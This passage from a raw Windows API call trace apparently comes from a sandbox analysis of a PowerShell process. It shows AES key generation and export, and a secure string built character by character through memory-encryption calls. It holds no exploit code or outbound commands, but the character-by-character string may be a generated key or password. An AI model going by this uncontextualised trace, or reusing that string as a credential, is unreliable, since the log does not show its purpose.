lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0253.120] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0253.121] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0253.121] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2534c14*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2534c14*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0253.121] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0253.122] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0253.123] EtwEventActivityIdControl () returned 0x0 [0253.123] EtwEventActivityIdControl () returned 0x0 [0253.124] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.124] EtwEventActivityIdControl () returned 0x0 [0253.124] EtwEventActivityIdControl () returned 0x0 [0253.124] EtwEventActivityIdControl () returned 0x0 [0253.127] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.127] EtwEventActivityIdControl () returned 0x0 [0253.127] EtwEventActivityIdControl () returned 0x0 [0253.128] EtwEventActivityIdControl () returned 0x0 [0253.130] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cff0) returned 1 [0253.133] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c995e0) returned 1 [0253.133] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.133] CryptExportKey (in: hKey=0x5c995e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0253.133] CryptExportKey (in: hKey=0x5c995e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x253c5ec, pdwDataLen=0x5a2e8c4 | out: pbData=0x253c5ec*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0253.133] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.134] EtwEventActivityIdControl () returned 0x0 [0253.134] EtwEventActivityIdControl () returned 0x0 [0253.134] EtwEventActivityIdControl () returned 0x0 [0253.135] SysStringLen (param_1="") returned 0x8 [0253.135] SysStringLen (param_1="B") returned 0x8 [0253.135] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.135] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0253.135] SysStringLen (param_1="ꡞ\勚꽑쪵듳⢠⋧) returned 0x8 [0253.136] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.136] SysStringLen (param_1="Br") returned 0x8 [0253.136] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.136] SysStringLen (param_1="⍷읥䓥\⋝\秚獼욚") returned 0x8 [0253.136] SysStringLen (param_1="⍷읥䓥\⋝\秚獼욚") returned 0x8 [0253.136] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.136] SysStringLen (param_1="Brp") returned 0x8 [0253.136] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.136] SysStringLen (param_1="屦톯充ሠﺗᜌ쮻翖") returned 0x8 [0253.136] SysStringLen (param_1="屦톯充ሠﺗᜌ쮻翖") returned 0x8 [0253.136] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.137] SysStringLen (param_1="BrpF") returned 0x8 [0253.137] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.137] SysStringLen (param_1="\샚㎹᱋뻽㔄錸⋽) returned 0x8 [0253.137] SysStringLen (param_1="\샚㎹᱋뻽㔄錸⋽) returned 0x8 [0253.137] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.137] SysStringLen (param_1="BrpFo") returned 0x8 [0253.137] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.137] SysStringLen (param_1="䧁泱뀋춢黀ᚅ흙") returned 0x8 [0253.137] SysStringLen (param_1="䧁泱뀋춢黀ᚅ흙") returned 0x8 [0253.137] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.138] SysStringLen (param_1="BrpFoa") returned 0x8 [0253.138] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.138] SysStringLen (param_1="隗엺㳧곎嶭嘙싒") returned 0x8 [0253.138] SysStringLen (param_1="隗엺㳧곎嶭嘙싒") returned 0x8 [0253.138] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.138] SysStringLen (param_1="BrpFoaQ") returned 0x8 [0253.138] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.138] SysStringLen (param_1="ﺛ剬䛃辞\诘㷣䫾⋡) returned 0x8 [0253.138] SysStringLen (param_1="ﺛ剬䛃辞\诘㷣䫾⋡) returned 0x8 [0253.138] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.139] SysStringLen (param_1="BrpFoaQ5") returned 0x8 [0253.139] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0253.139] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ") returned 0x8 [0253.139] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ") returned 0x8 [0253.139] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ") returned 0x8 [0253.140] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ") returned 0x10 [0253.140] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.140] SysStringLen (param_1="BrpFoaQ5Q월ᩯ쩋漰") returned 0x10 [0253.140] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.140] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ⶟䇟损䡦㳟ൽ佑ℝ") returned 0x10 [0253.140] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ⶟䇟损䡦㳟ൽ佑ℝ") returned 0x10 [0253.140] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.141] SysStringLen (param_1="BrpFoaQ5QX월ᩯ쩋漰") returned 0x10 [0253.141] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.141] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ䝃ⶢն䒭Ϭꑁ꥽") returned 0x10 [0253.141] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ䝃ⶢն䒭Ϭꑁ꥽") returned 0x10 [0253.141] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.141] SysStringLen (param_1="BrpFoaQ5QX8ᩯ쩋漰") returned 0x10 [0253.141] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.141] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋﶵꆛ栉곳㭊ꡡ") returned 0x10 [0253.141] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋﶵꆛ栉곳㭊ꡡ") returned 0x10 [0253.141] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.142] SysStringLen (param_1="BrpFoaQ5QX8M쩋漰") returned 0x10 [0253.142] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.142] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ誊\ᣙ⣬ᔷ㰋顅ꑌ≹) returned 0x10 [0253.142] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ誊\ᣙ⣬ᔷ㰋顅ꑌ≹) returned 0x10 [0253.142] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.142] SysStringLen (param_1="BrpFoaQ5QX8MP쩋漰") returned 0x10 [0253.142] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.142] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ⅔錌✅턽푁") returned 0x10 [0253.142] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ⅔錌✅턽푁") returned 0x10 [0253.142] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.143] SysStringLen (param_1="BrpFoaQ5QX8MPc쩋漰") returned 0x10 [0253.143] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.143] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋኾ␄むｚ樗牏") returned 0x10 [0253.143] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋኾ␄むｚ樗牏") returned 0x10 [0253.143] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.143] SysStringLen (param_1="BrpFoaQ5QX8MPcB漰") returned 0x10 [0253.143] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.143] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ밓⃘减") returned 0x10 [0253.143] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ밓⃘减") returned 0x10 [0253.143] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.144] SysStringLen (param_1="BrpFoaQ5QX8MPcBl") returned 0x10 [0253.144] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0253.144] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝⋹) returned 0x10 [0253.144] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝⋹) returned 0x10 [0253.144] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝⋹) returned 0x10 [0253.145] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝⋹) returned 0x18 [0253.145] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.145] SysStringLen (param_1="BrpFoaQ5QX8MPcBlf쌩圬ᚹ獹殒튲㓚") returned 0x18 [0253.145] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.145] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝秹ꨆ荌旈魄팵鹦∯) returned 0x18 [0253.145] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝秹ꨆ荌旈魄팵鹦∯) returned 0x18 [0253.145] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.145] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo圬ᚹ獹殒튲㓚") returned 0x18 [0253.146] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.146] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝ӹ쐟理뗨䋨닍∎樕⋮) returned 0x18 [0253.146] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝ӹ쐟理뗨䋨닍∎樕⋮) returned 0x18 [0253.146] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.146] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9ᚹ獹殒튲㓚") returned 0x18 [0253.146] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.146] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝﫹巫橞蝉㆙寣坉ħ⋱) returned 0x18 [0253.146] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝﫹巫橞蝉㆙寣坉ħ⋱) returned 0x18 [0253.146] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.147] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9B獹殒튲㓚") returned 0x18 [0253.147] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.147] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝׹⻿嵂윔醥≵蘯≳) returned 0x18 [0253.147] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝׹⻿嵂윔醥≵蘯≳) returned 0x18 [0253.147] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.147] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9Bk殒튲㓚") returned 0x18 [0253.147] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.147] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝㗹铲鯻稷咂룃ᗑῑ∍) returned 0x18 [0253.147] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝㗹铲鯻稷咂룃ᗑῑ∍) returned 0x18 [0253.147] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.148] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY튲㓚") returned 0x18 [0253.148] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.148] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝臹퍅顊ᰈ셧쩜滾ﰘ∧) returned 0x18 [0253.148] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝臹퍅顊ᰈ셧쩜滾ﰘ∧) returned 0x18 [0253.148] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.148] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3㓚") returned 0x18 [0253.148] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.148] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쫹\쓛㙧㧋蚮⎙ἔ") returned 0x18 [0253.148] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쫹\쓛㙧㧋蚮⎙ἔ") returned 0x18 [0253.148] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.149] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l") returned 0x18 [0253.149] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0253.149] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼≥) returned 0x18 [0253.149] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼≥) returned 0x18 [0253.149] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼≥) returned 0x18 [0253.150] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼≥) returned 0x20 [0253.150] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.150] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l6\郘ء鎓䡦☉ᾏ⊨) returned 0x20 [0253.150] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.150] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼䭥ሼ䁮✎蓡驳⦻᭐≦) returned 0x20 [0253.150] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼䭥ሼ䁮✎蓡驳⦻᭐≦) returned 0x20 [0253.150] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.151] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62←錆暓ै輦ꠟ") returned 0x20 [0253.151] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.151] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼硥ี奣ꌮ꺬䒌嘍⋪) returned 0x20 [0253.151] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼硥ี奣ꌮ꺬䒌嘍⋪) returned 0x20 [0253.151] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.151] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62H錆暓ै輦ꠟ") returned 0x20 [0253.151] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.151] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼佥ხ뒹鈧鹹깠룖歺⊽) returned 0x20 [0253.151] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼佥ხ뒹鈧鹹깠룖歺⊽) returned 0x20 [0253.151] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.152] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62Hn暓ै輦ꠟ") returned 0x20 [0253.152] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.152] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼쥥⯀뚖귰⻢Ꞑ摭Ĺ⋘) returned 0x20 [0253.152] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼쥥⯀뚖귰⻢Ꞑ摭Ĺ⋘) returned 0x20 [0253.152] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.152] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62Hniै輦ꠟ") returned 0x20 [0253.152] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.152] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼慥㘘٪꨼霋헥\篵") returned 0x20 [0253.152] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼慥㘘٪꨼霋헥\篵") returned 0x20 [0253.152] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.153] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62Hniq輦ꠟ") returned 0x20 [0253.153] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.153] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼ᥥ๞㉦ß煳쒅袳㇑⋊) returned 0x20 [0253.153] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼ᥥ๞㉦ß煳쒅袳㇑⋊) returned 0x20 [0253.153] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.153] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLꠟ") returned 0x20 [0253.153] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.153] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼ㄧ䯚䡖쒶랹㭅⊨) returned 0x20 [0253.153] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼ㄧ䯚䡖쒶랹㭅⊨) returned 0x20 [0253.153] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.154] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLP") returned 0x20 [0253.154] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.154] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩") returned 0x20 [0253.154] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩") returned 0x20 [0253.154] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩") returned 0x20 [0253.155] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩") returned 0x28 [0253.155] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.155] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPD놎ꦊꁽṴ\ዝ⋁) returned 0x28 [0253.155] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.155] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩⠴ꕣ뜰涣憣쾭谽㾄") returned 0x28 [0253.155] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩⠴ꕣ뜰涣憣쾭谽㾄") returned 0x28 [0253.155] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.155] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSꦊꁽṴ\ዝ⋁) returned 0x28 [0253.155] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.156] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩쟱鶬퇃퉀签퍞攱") returned 0x28 [0253.156] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩쟱鶬퇃퉀签퍞攱") returned 0x28 [0253.156] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.156] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvꁽṴ\ዝ⋁) returned 0x28 [0253.156] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.156] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩晥਀䄙㘫䰕汻⩠鱴") returned 0x28 [0253.156] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩晥਀䄙㘫䰕汻⩠鱴") returned 0x28 [0253.156] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.156] SysStringLen (param_1="BrpFoaQ5QX8MPcBlfo9BkY3l62HniqLPDSvYṴ\ዝ⋁) returned 0x28 [0253.156] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.157] SysStringLen (param_1="渀툦놽ꂡ攍䇉뤸ꈋ슞﮼⁅걷\쇝쇹䔻易졖簩㟭喿⓼靥ᯔ돞\槜ꠋ긝఩ڥ㗡塬㸚間덚㲩") returned 0x28 [0253.157] SysStringLen 